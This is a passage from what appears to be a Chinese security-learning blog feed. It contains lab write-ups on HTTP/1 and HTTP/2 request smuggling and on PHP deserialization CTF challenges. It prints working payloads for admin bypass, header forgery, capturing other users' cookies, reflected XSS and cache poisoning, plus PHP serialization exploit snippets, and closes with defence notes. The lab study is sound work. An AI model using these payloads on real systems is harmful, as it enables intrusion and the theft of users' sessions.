src="/images/42.png"></li><li>TE.CL（做完这个之后去看了信的博客…我真没剽窃）<br><img src="/images/43.png"><br>是的 我也是这样想的 这样子是前端全部发给后端 然后后端只能截取前三个 也就是1\r\n G就可以拼在下一个包里面 至于0 我以为这种作为结束的标志符号不会被拼接 结果哈哈<br><img src="/images/44.png"><br>居然也会被放进去<br>这里不知道怎么弄了 因为0作为结束的 不被后端识别的话 肯好的会被放在下一包里面啊 然后看了信的博客 发现他居然最开始payload也和我一样<br> <img src="/images/45.png"><br>还能这样 中间一整个作为data 然后前端先是全部发完 然后后端只收到4位之后就停下了 等第二个包发出来之后 居然还有数据 后端测到CL为6 但是前端发的一直到结束都只有5个 只能粘上第二个包了 这里刚开始太蠢了 卡了很久 总的说来 还是最开始没有理解清楚 都没有想到通道这个概念 到处模糊地去问学长<br><img src="/46.png"></li><li>TE.TE<br>找到某种头部变体，<code>Transfer-Encoding</code>使得只有前端或后端服务器中的一个会处理它，而另一个服务器则会忽略它 原理很简单了 payload给完后重点去理解一下bp里面给的教学视频</li></ol><h3 id="判断漏洞"><a href="#判断漏洞" class="headerlink" title="判断漏洞"></a>判断漏洞</h3><ol><li>计时计数<br><img src="/images/49.png"></li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Content-Length: 6</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">3</span><br><span class="line">abc</span><br><span class="line">X</span><br></pre></td></tr></table></figure><p>声明了分块传输（TE），但故意不发结束标志 0<br>Timeout (超时) -&gt; CL.TE： 这是最常见的情况。前端（CL）认为总共只有 6 字节，于是把全部内容发给后端 但后端（TE）认为这是分块传输，它读完了 abc 之后，一直在死等那个代表结束的 0。因为你永远没发 0，后端就一直等，直到连接超时<br>Reject (前端拒绝) -&gt; TE.CL 或 TE.TE： 如果前端本身就优先看 TE，它发现你这个分块格式不对（没有结尾），可能直接在前端就拦截并报错了<br>Response (正常响应) -&gt; CL.CL： 如果前后端都只看 CL，它们只读完 6 个字节就处理完了，所以会正常返回</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">Content-Length: 6</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">0</span><br><span class="line"></span><br><span class="line">X</span><br></pre></td></tr></table></figure><p><strong>Response (正常响应) -&gt; TE.TE 或 CL.CL：</strong> 如果前后端协议一致（都看 TE 或都看 CL），它们都能正常处理完这 6 个字节，不会产生错位<br><strong>Socket Poison  -&gt; CL.TE：</strong> 前端（CL）把 6 个字节（含 <code>X</code>）全发了。后端（TE）读到 <code>0\r\n\r\n</code> 就认为第一个请求完了，把剩下的 <code>X</code> 留在了缓冲区。当你发第二个包时，会发现请求变成了 <code>XPOST</code>，从而验证了 CL.TE 漏洞<br><strong>Timeout (超时) -&gt; TE.CL：</strong> 前端（TE）看到 <code>0\r\n\r\n</code>，认为请求已经结束了，所以它<strong>只转发了前 5 个字节</strong>给后端，那个 <code>X</code> 被前端丢弃或留在了前端。但后端（CL）死板地认为必须收到 6 个字节。于是后端卡住了，一直在等那个永远不会被转发过来的第 6 个字节（<code>X</code>），最终超时<br>2. 差异化响应 其实原理就和上面靶场想让我们做的事情一样 靶场让我们改变请求 其实这里转到404 底层差不多的</p><ul><li>CL.TE<br><img src="/images/51.png"><br>然后发一个get的包<br><img src="/images/52.png"></li><li>TE.CL<br>和之前发送GPOST原理完全一样<br><img src="/images/53.png"><br>payload直接抄 改一下GPOST 加个404即可</li></ul><h3 id="HTTP走私利用"><a href="#HTTP走私利用" class="headerlink" title="HTTP走私利用"></a>HTTP走私利用</h3><ol><li>利用 HTTP 请求走私绕过前端安全控制，CL.TE 漏洞<br>前端服务器阻止了对&#x2F;admin的访问 需要向后端服务器发送一个请求 通过基础payload超时 判断出是CL.TE<br>那么像之前一样提前0分块</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Content-Length: 37</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">0</span><br><span class="line"></span><br><span class="line">GET /admin HTTP/1.1</span><br><span class="line">X-Ignore: X</span><br></pre></td></tr></table></figure><p>这里加上X-Ignore: X是因为和后面第二个包的GET就两个请求了 不能处理 这时候去发第二个包 已经可以看到<br><code>HTTP/1.1 401 Unauthorized Admin interface only available to local users</code><br>那么加上Host</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Content-Length: 54</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">0</span><br><span class="line"></span><br><span class="line">GET /admin HTTP/1.1</span><br><span class="line">Host: localhost</span><br><span class="line">X-Ignore: X</span><br></pre></td></tr></table></figure><p>这样子两个Host了 wp上面的方法<br><img src="/images/54.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">GET /admin HTTP/1.1</span><br><span class="line">Host: localhost</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 3</span><br><span class="line"></span><br><span class="line">x=</span><br></pre></td></tr></table></figure><p>放第二个包就可以了<br>2. 利用 HTTP 请求走私绕过前端安全控制，TE.CL 漏洞<br>和上一个相差无几 也和之前的定向到&#x2F;404一样 因为前端是TE 所以不需要管两个方法影响<img src="/images/55.png"><br>3. 在许多应用中，前端服务器会在将请求转发到后端服务器之前对其进行一些重写，通常是通过添加一些额外的请求头。例如，前端服务器可能会：</p><ul><li>终止 TLS 连接，并添加一些描述所用协议和密码的标头；</li><li>添加<code>X-Forwarded-For</code>包含用户 IP 地址的标头；</li><li>根据用户的会话令牌确定用户的 ID，并添加一个标识用户的标头；或者</li><li>添加一些其他攻击者感兴趣的敏感信息。<br>如果走私请求缺少前端服务器通常添加的一些标头，则后端服务器可能不会以正常方式处理请求，导致走私请求无法达到预期效果<br>CL.TE漏洞<br><img src="/images/56.png"><br>第二个包<br><img src="/images/57.png"><br>确定可以了<br>然后<img src="/images/58.png"><br>长度设置长一点<br><img src="/images/59.png"><br>这里可以看到前端改过之后的<code>X-*-IP</code>了<br>放在第一个包里面 用前面学的x&#x3D;来连上后面包的多余请求方式和Host</li></ul><ol start="4"><li>绕过身份验证 这个和上面很相似啦 我觉得都是不错的验证身份方法<br>验证客户端身份的组件通常会通过一个或多个非标准 HTTP 标头，将证书中的相关详细信息传递给应用程序或后端服务器。例如，前端服务器有时会将包含客户端 CN 的标头附加到任何传入的请求中<br>前端服务器往往会覆盖已经存在的这些请求头。然而，走私的请求对前端完全隐藏，因此它们包含的任何请求头都会原封不动地发送到后端。<br>例如在CL.TE里面</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">POST /example HTTP/1.1</span><br><span class="line">Host: vulnerable-website.com</span><br><span class="line">Content-Type: x-www-form-urlencoded</span><br><span class="line">Content-Length: 64</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">0</span><br><span class="line"></span><br><span class="line">GET /admin HTTP/1.1</span><br><span class="line">X-SSL-CLIENT-CN: administrator</span><br><span class="line">Foo: x</span><br></pre></td></tr></table></figure><p>教学里面没给TE.CL的 自己敲一个基础的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">POST /example HTTP/1.1</span><br><span class="line">Host: vulnerable-website.com</span><br><span class="line">Content-Type: x-www-form-urlencoded</span><br><span class="line">Content-Length: 64</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">xx</span><br><span class="line">GET /admin HTTP/1.1</span><br><span class="line">X-SSL-CLIENT-CN: administrator</span><br><span class="line">Foo: x</span><br><span class="line">0</span><br><span class="line"></span><br></pre></td></tr></table></figure><ol start="5"><li>捕获其他用户的请求<br>原理和前面得到前端重写的标头一模一样 靶场这里是CL.TE</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/1.1</span><br><span class="line">Host: YOUR-LAB-ID.web-security-academy.net</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 256</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">0</span><br><span class="line"></span><br><span class="line">POST /post/comment HTTP/1.1</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 400</span><br><span class="line">Cookie: session=your-session-token</span><br><span class="line"></span><br><span class="line">csrf=your-csrf-token&amp;postId=5&amp;name=Carlos+Montoya&amp;email=carlos%40normal-user.net&amp;website=&amp;comment=test</span><br></pre></td></tr></table></figure><p>放第二个包时 能在渲染里面看到抓获的cookie 注意这里的CL长度是个技术活 短了可能得不到cookie 长了的话<br>5. HTTP 请求走私实现反射型 XSS 攻击<br>首先得找到xss地方 然后就好说了 判断漏洞 例题打的还是很通畅 CL.TE</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Content-Length: 149</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">0</span><br><span class="line"></span><br><span class="line">GET /post?postId=5 HTTP/1.1</span><br><span class="line">User-Agent: 1&quot;/&gt;&lt;script&gt;alert(1)&lt;/script&gt;</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 5</span><br><span class="line"></span><br><span class="line">x=</span><br></pre></td></tr></table></figure><ol start="6"><li>利用 HTTP 请求走私将站内重定向转换为开放重定向<br>简单说：<br>Apache 和 IIS 这俩服务器，默认有个规矩：<br>你访问一个文件夹的网址时，如果网址最后没加斜杠（比如输<code> http://网站地址/文件夹名</code>），服务器会自动跳转到同一个文件夹、但网址最后带斜杠的地址（也就是 <code>http://网站地址/文件夹名/</code>）。</li></ol><ul><li>web缓存投毒<br>那么看看这道利用HTTP请求走私进行Web缓存投毒的例题<br>如果前端基础设施的任何部分对内容进行缓存（通常是为了提升性能），那么攻击者就可能通过发送站外重定向响应来污染缓存<br>先用简单payload测试是哪种漏洞 CL.TE<br><img src="/images/60.png"><br>先测试最基础的重定向和漏洞<br><img src="/images/61.png"><br>好的 302了<br>那么看看自己定义Host<br><img src="/images/62.png"><br>添加好了 发第二个包去试看看<br><img src="/images/63.png"><br>确实是可以哈 那么就来自己确定文件了<br>之后用他缓存的文件信息 30秒改缓存 那么就抓住时间 教学这里是27秒 </li><li>Web缓存欺骗<br>这个 我想想 和前面偷走前端重命名的标头那个很相似 不过这个不是吞走用户的请求头 是利用缓存从而查看关键字<br><img src="/images/64.png"><br><img src="/images/65.png"><br>这里是看到API不会马上刷掉<br>和上一道题一样  抓紧在静态资源更新时去发送攻击请求</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Content-Length: 42</span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">0</span><br><span class="line"></span><br><span class="line">GET /my-account HTTP/1.1</span><br><span class="line">X-Ignore: X</span><br></pre></td></tr></table></figure><p>这里不知道是什么原因找不到静态资源 很奇怪</p><h3 id="HTTP2走私"><a href="#HTTP2走私" class="headerlink" title="HTTP2走私"></a>HTTP2走私</h3><ol><li>HTTP&#x2F;2 格式核心<br>HTTP&#x2F;1.1 是<strong>文本协议</strong>(ASCII 字符，用换行符分隔）<br>HTTP&#x2F;2 是<strong>二进制协议</strong> HTTP&#x2F;2 不再像 HTTP&#x2F;1.1 那样把整个请求扔过去。它把数据切成一个个微小的<strong>帧 (Frame)</strong></li></ol><ul><li><strong>帧 (Frame)</strong>：通信的最小单位。每个帧都有头部，说明了它是属于哪个流（Stream ID）、它的类型（Type）以及长度（Length）。</li><li><strong>类型</strong>：常见的有 <code>HEADERS</code> 帧（放 HTTP 头）、<code>DATA</code> 帧（放 POST body）、<code>SETTINGS</code> 帧等。</li></ul><ol start="2"><li>多路复用<br><strong>HTTP&#x2F;1.1</strong>：第一个请求没处理完，第二个请求就得放在TCP缓存区等着<br><strong>HTTP&#x2F;2</strong>：同一个 TCP 连接里，可以同时跑很多个请求。它们被打散成“帧”，乱序发送，然后在接收端根据 <strong>Stream ID</strong> 重新组装起来。</li><li>漏洞呢？<br>在纯 HTTP&#x2F;2 环境下（客户端-&gt;H2-&gt;服务端），走私很难发生，因为 H2 的帧长度是非常精准的，没有歧义。也就是说几乎不太可能找到走私了  但是….<br>现实世界的架构通常是</li></ol><ul><li><strong>前端</strong>：支持 HTTP&#x2F;2，负责高性能连接。</li><li><strong>后端</strong>：很多老旧应用或框架只支持 HTTP&#x2F;1.1。</li><li><strong>中间过程</strong>：前端接收 H2 数据流，将其<strong>转换（降级</strong>为 HTTP&#x2F;1.1 文本格式发给后端。<br>漏洞显而易见 会出现在中间过程到后端的过程中 那么<br>是否可以想到前面的http1的漏洞问题<br>举个例子<br>前端使用的是<strong>帧的长度</strong>来判断请求结束<br>后端使用的是CL</li><li>攻击者在 HTTP&#x2F;2 的 HEADERS 帧中，故意注入一个 <code>content-length</code> 头（H2 协议本身不需要这个头，但允许存在）。</li><li>H2 代理将请求转换成 H1 发送给后端。</li><li>后端看到 CL 头，提前截断请求。</li><li>剩下的 Data 帧数据被留在 TCP 管道中，变成了下一个请求的开头。<br>例题<br>H2.CL<br>利用404检测后端类型</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/2</span><br><span class="line">Host: qqqqqqqqq.web-security-academy.net</span><br><span class="line">Content-Length: 5</span><br><span class="line"></span><br><span class="line">x=1</span><br><span class="line">GET /frewfes HTTP/1.1</span><br><span class="line">x: x</span><br></pre></td></tr></table></figure><p>然后去发第二个包 404了<br>证明后端确实只收到了x&#x3D;1<br>接下来就和上面的TE.CL一模一样了<br>利用重定向去跳转</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/2</span><br><span class="line">Host: qqqqqqqq.web-security-academy.net</span><br><span class="line">Content-Length: 5</span><br><span class="line"></span><br><span class="line">x=1</span><br><span class="line">GET resources/js HTTP/1.1</span><br><span class="line">CL： 3</span><br><span class="line"></span><br><span class="line">x=</span><br></pre></td></tr></table></figure><p>进去攻击模块 一直去反复发送即可<br>和http1.1的模式是完全一样的<br>H2.TE与上面相同 只是后端停在TE特有的0分块上面 例题可以参考之前的CL.TE靶场<br>4. CRLF injection<br>基于前面两个基础的靶场 可能网站采取措施防止基本的 H2.CL 或 H2.TE 攻击，例如验证<code>content-length</code>或剥离任何<code>transfer-encoding</code>标头<br>那么我们也许可以通过其他的标头和对应的值来在里面插入<code>content-length</code>或剥<code>transfer-encoding</code>标头<br>例如<br><img src="/images/75.png"><br>之后再摆上对应漏洞的payload（这里是后端TE）<br>然后发送第二个包 404了证明这样子添加后也可被后端识别到TE标头 接下来就是和之前一样了<br>主要了解一下这个方法<br>后面的靶场除了H2以外 与前面没有任何区别</p><h3 id="防御"><a href="#防御" class="headerlink" title="防御"></a>防御</h3><p>打了那么多靶场之后 我以攻击者的视角讲一下我眼中的防御</p><ol><li>对于H1 保证使用前端后端的请求结束位置没有差异 也就是说前端后端使用的“定位机制”一样 然后对于特殊的TE.TE漏洞 做严格验证 不能通过混淆标头就绕过</li><li>对于H2 其实本身是完全没法利用的了 可以说是一步到位了 其中的漏洞几乎都是来自于没有端到端的使用 从而发送到后端的时候导致了HTTP协议的降级 另外对于CLRF的使用 对于请求头的使用（包含TE或者是CL）关于换行符 空格 冒号全部拒绝</li><li>对于服务器 如果在处理请求时触发服务器级异常，则默认丢弃连接</li></ol>]]>
    </content>
    <id>http://47.109.24.42/2026/02/01/HTTP%20%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/</id>
    <link href="http://47.109.24.42/2026/02/01/HTTP%20%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/"/>
    <published>2026-02-01T13:00:00.000Z</published>
    <summary>
      <![CDATA[<h3 id="HTTP请求走私的原理"><a href="#HTTP请求走私的原理" class="headerlink" title="HTTP请求走私的原理"></a>HTTP请求走私的原理</h3><p>HTTP 请求一个接一个地发送，接收服务器必须确定一个请求在哪里结束]]>
    </summary>
    <title>HTTP 请求走私</title>
    <updated>2026-02-01T13:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="Obsidian笔记" scheme="http://47.109.24.42/categories/Obsidian%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<p>一般的反序列化入口</p><table><thead><tr><th><strong>方法名</strong></th><th><strong>触发时机 &#x2F; 定义</strong></th><th><strong>触发方式极简示例</strong></th></tr></thead><tbody><tr><td><strong><code>__construct</code></strong></td><td><strong>创建对象时</strong>初始化</td><td><code>new User();</code></td></tr><tr><td><strong><code>__destruct</code></strong></td><td><strong>销毁对象时</strong> (如脚本结束)</td><td><code>$obj = null;</code> 或 脚本执行完毕</td></tr><tr><td><strong><code>__sleep</code></strong></td><td><strong>序列化前</strong></td><td><code>serialize($obj);</code></td></tr><tr><td><strong><code>__wakeup</code></strong></td><td><strong>反序列化后</strong></td><td><code>unserialize($str);</code></td></tr><tr><td><strong><code>__serialize</code></strong></td><td><strong>序列化时</strong> (PHP 7.4+)</td><td><code>serialize($obj);</code></td></tr><tr><td><strong><code>__unserialize</code></strong></td><td><strong>反序列化时</strong> (PHP 7.4+)</td><td><code>unserialize($str);</code></td></tr><tr><td><strong><code>__set_state</code></strong></td><td>使用 <code>var_export</code> 导出时</td><td><code>var_export($obj);</code></td></tr><tr><td><strong><code>__clone</code></strong></td><td>使用 <code>clone</code> 复制对象时</td><td><code>$copy = clone $obj;</code></td></tr><tr><td>一般跳板（pop链）</td><td></td><td></td></tr></tbody></table><table><thead><tr><th><strong>方法名</strong></th><th><strong>触发时机 &#x2F; 定义</strong></th><th><strong>触发方式极简示例</strong></th></tr></thead><tbody><tr><td><strong><code>__toString</code></strong></td><td><strong>对象当字符串用时</strong></td><td><code>echo $obj;</code> 或 <code>$str = &#39;Text&#39; . $obj;</code></td></tr><tr><td><strong><code>__invoke</code></strong></td><td><strong>对象当函数用时</strong></td><td><code>$obj();</code> 或 <code>call_user_func($obj);</code></td></tr><tr><td><strong><code>__call</code></strong></td><td><strong>调用不存在的方法时</strong></td><td><code>$obj-&gt;noMethod();</code></td></tr><tr><td><strong><code>__callStatic</code></strong></td><td><strong>静态调用不存在的方法时</strong></td><td><code>User::noMethod();</code></td></tr><tr><td><strong><code>__get</code></strong></td><td><strong>读取不存在的属性时</strong></td><td><code>$val = $obj-&gt;noProp;</code></td></tr><tr><td><strong><code>__set</code></strong></td><td><strong>设置不存在的属性时</strong></td><td><code>$obj-&gt;noProp = &#39;value&#39;;</code></td></tr><tr><td><strong><code>__isset</code></strong></td><td><strong>检测不存在的属性时</strong></td><td><code>isset($obj-&gt;noProp);</code> 或 <code>empty($obj-&gt;noProp);</code></td></tr><tr><td><strong><code>__unset</code></strong></td><td><strong>删除不存在的属性时</strong></td><td><code>unset($obj-&gt;noProp);</code></td></tr><tr><td><strong><code>__debugInfo</code></strong></td><td>使用 <code>var_dump</code> 打印时</td><td><code>var_dump($obj);</code></td></tr></tbody></table><p>一边做题一边补充知识点吧。</p><ol><li>这一关先定义了一个类，里面的函数是_destruct，也就是对象销毁之后自动执行，含有&#x2F;&#x2F;和&#x2F;都直接die，然后还有一个wakeup，是在反序列化的时候自动执行，会将查看的文件改为index.php，那么我们需要做到的是，绕过wakeup，在网上学习的方法，只要将序列化后的属性值改大，就可以绕过wakeup，这里问了ivory学长，<strong>最好不要手打序列化的结果，而是php里面自动输出，并且套一层urlencode，这里在下一关会埋下伏笔。</strong> 然后贴上我的源码，</li></ol>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">class SoFun&#123;</span><br><span class="line">    protected $file=&#x27;flag1.php&#x27;;</span><br><span class="line">    &#125;</span><br><span class="line">$obj = new SoFun();</span><br><span class="line">echo urlencode(serialize($obj));</span><br><span class="line"></span><br><span class="line">?&gt;```</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>，但是我发现转码过后我有点找不到属性值在哪了，太混乱了，所以我先没有转码了，而是先得到序列化之后的东西，然后就是把1改成2，然后再转码。<br>2. 这里是wakeup之后，就可以响应，我们看这个正则匹配，不能是o或者c，然后加一个冒号，然后加一个数字，这就刚好限制了O：2（举个例子，就这种的都不行），而且后面还有这个不分大小写，那么大小写绕过就被淘汰了。这里在网上看到的，在数字面前加一个+，就可以绕过，就是这里，我太蠢了，我居然在url里面直接打了一个+，我都忘了之前sql注入的时候，+会被自动当作空格，然后就去找对应的编码，是%2b</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">class funny&#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">$obj = new funny();</span><br><span class="line"></span><br><span class="line">echo serialize($obj);</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>得到O:5:”funny”:0:{}，然后在5前面加上%2b<br>3. 看第三关，定义了两个属性，然后如果wakeup的话，就会把一个不知道的东西赋给password，如果password严格等于verity的话，就得到flag。这个确实是没有头绪，然后去问了ai，说在类的内部就直接是他们共享一个值。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">&lt;?php class funny &#123;</span><br><span class="line">    private $password;</span><br><span class="line">    public $verify;</span><br><span class="line">    public function __construct() &#123;</span><br><span class="line">        $this-&gt;verify = &amp;$this-&gt;password; </span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">$o = new funny();</span><br><span class="line">echo urlencode(serialize($o));</span><br><span class="line">?&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>&#x3D;&amp;是引用符号，这样就可以让这两个属性持续相等。<br>4. ini_set() 设置 PHP 的会话序列化处理器为php_serialize，会话数据将以 PHP 的默认序列化格式进行存储 GET 变量 tryhackme 的值存储到  $_SESSION 数组中，这个数组最终被序列化 Session：服务器用来存储用户会话状态（比如登录状态、用户 ID、购物车信息）的机制，避免每次请求都重新验证用户<br>PHP 中 session 序列化的关键细节</p><ul><li>PHP 默认使用<code>php</code>序列化处理器（对应<code>serialize()</code>函数），也支持<code>php_serialize</code>、<code>php_binary</code>等格式。它对<code>$_SESSION</code>的序列化规则非常特殊：<br>对于 <code>$_SESSION[&#39;键名&#39;] = 数据</code>，最终存储的字符串格式是：<code>键名|序列化后的数值</code></li><li>session 数据默认存储在服务器的临时文件中（比如<code>/tmp/sess_xxxxxx</code>，<code>xxxxxx</code>是 session_id）。<br>典型的 session 反序列化漏洞，即两个⻚面设置的的session 序列化方式不同<br>这里42是能通过直接创建一个funny的实例 销毁了过后直接就flag了 4这里是储存到会话 然后serialize() 负责 “写入 session 数据”（用<code>php_serialize</code>格式）php处理器解析 session 数据时，会按第一个 | 把字符串拆成「键名」和「要反序列化的值」<code>|</code>左边被当成空键名，<code>|</code>右边的<code>funny</code>对象序列化字符串会被当成 “值”，触发反序列化。<br>class funny{<br>  public $a;<br>}<br>$x &#x3D; new funny;<br>echo urlencode(“|” . serialize($x));<br>全过程 php处理器解析 session 数据：<br>把a:1:{s:8:”tryhackme”;s:31:”|O:5:”funny”:1:{s:1:”a”;N;}”;}当成普通字符串（因为php处理器不认识php_serialize的数组格式）；<br>按第一个 | 分割：左边是a:1:{s:8:”tryhackme”;s:31:”（被当成键名），右边是O:5:”funny”:1:{s:1:”a”;N;}（被当成 “值”）；<br>PHP 自动对右边的funny对象序列化字符串执行unserialize() → 生成funny对象</li></ul><ol start="5"><li>这里其实并不是在考pop链，我们看条件很简单，只需要创建一个对象然后就出发类里面的第一个函数construct，之后等结束又出发destruct，就自动出flag了，那么重要的就是看他是怎么反序列化的，发现这里对序列化的结果有要求，ascii，这个之前做sql的时候学过，反正注意这里的属性是私有化的，那么在序列化之后就会在类名和属性名前都加上空格\0，这个的ascii码是0，直接死了，可以用16进制过了。</li><li>$a() 意味着</li></ol><ul><li>PHP会尝试调用 <code>$a</code> 这个变量</li><li>如果 <code>$a</code> 是函数名，就调用该函数</li><li>如果 <code>$a</code> 是数组 <code>[对象, 方法名]</code>，就调用该对象的方法，</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">class funny &#123;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$array=[new funny(),&#x27;pyflag&#x27;];</span><br><span class="line"></span><br><span class="line">echo serialize($array);</span><br><span class="line"></span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>这样子就可以做到调用new funny-&gt;pyflag,然后响应flag，这道题完全没有用到魔术方法，只用类本身的方式来做。<br>7. 先看到有个__destruct，在对象被销毁的时候自动响应flag，然后又看到下面，先得到a传参的值 b还传一个  内层的  if  检查文件是否已存在，else if  拼接文件路径  $filename &#x3D; “.&#x2F;upload&#x2F;&lt;<br>随机数&gt;.txt”  。然后获取 GET 参数  data，将 base64 解码内容写入到文件 $filename<br>这里学到的新知识 结合ai还有文章<br>先明确：phar 是什么？<br>phar 是 PHP 的归档文件格式（类似 ZIP），用于打包多个 PHP 文件 &#x2F; 资源成一个文件，方便分发和使用。<br>它的核心结构包含 4 部分：<br>Stub（标识头）：必须以<code>&lt;?php __HALT_COMPILER(); ?&gt;</code>结尾，是 PHP 识别 phar 文件的标记（可自定义前缀，比如伪装成图片：GIF89a<code>&lt;?php __HALT_COMPILER(); ?&gt;</code>）。<br>Manifest（清单）：存储 phar 包含的文件信息 +元数据（metadata）—— 而元数据是用serialize()序列化后存储的（这是漏洞的关键！）。<br>文件内容：归档的实际文件数据。<br>签名：可选的完整性校验信息</p><p>PHP 在<strong>解析 phar 文件</strong>时，会自动将其元数据（序列化后的字符串）进行<strong>反序列化操作</strong>—— 无论你用什么函数读取 phar 文件，只要触发了 phar 的解析，元数据就会被反序列化。</p><p>而 PHP 的很多<strong>文件操作函数</strong>（如<code>file_exists()</code>、<code>file_get_contents()</code>、<code>fopen()</code>、<code>unlink()</code>等）支持<code>phar://</code>协议（类似<code>file://</code>），只要给这些函数传入<code>phar://文件路径</code>，就会触发 phar 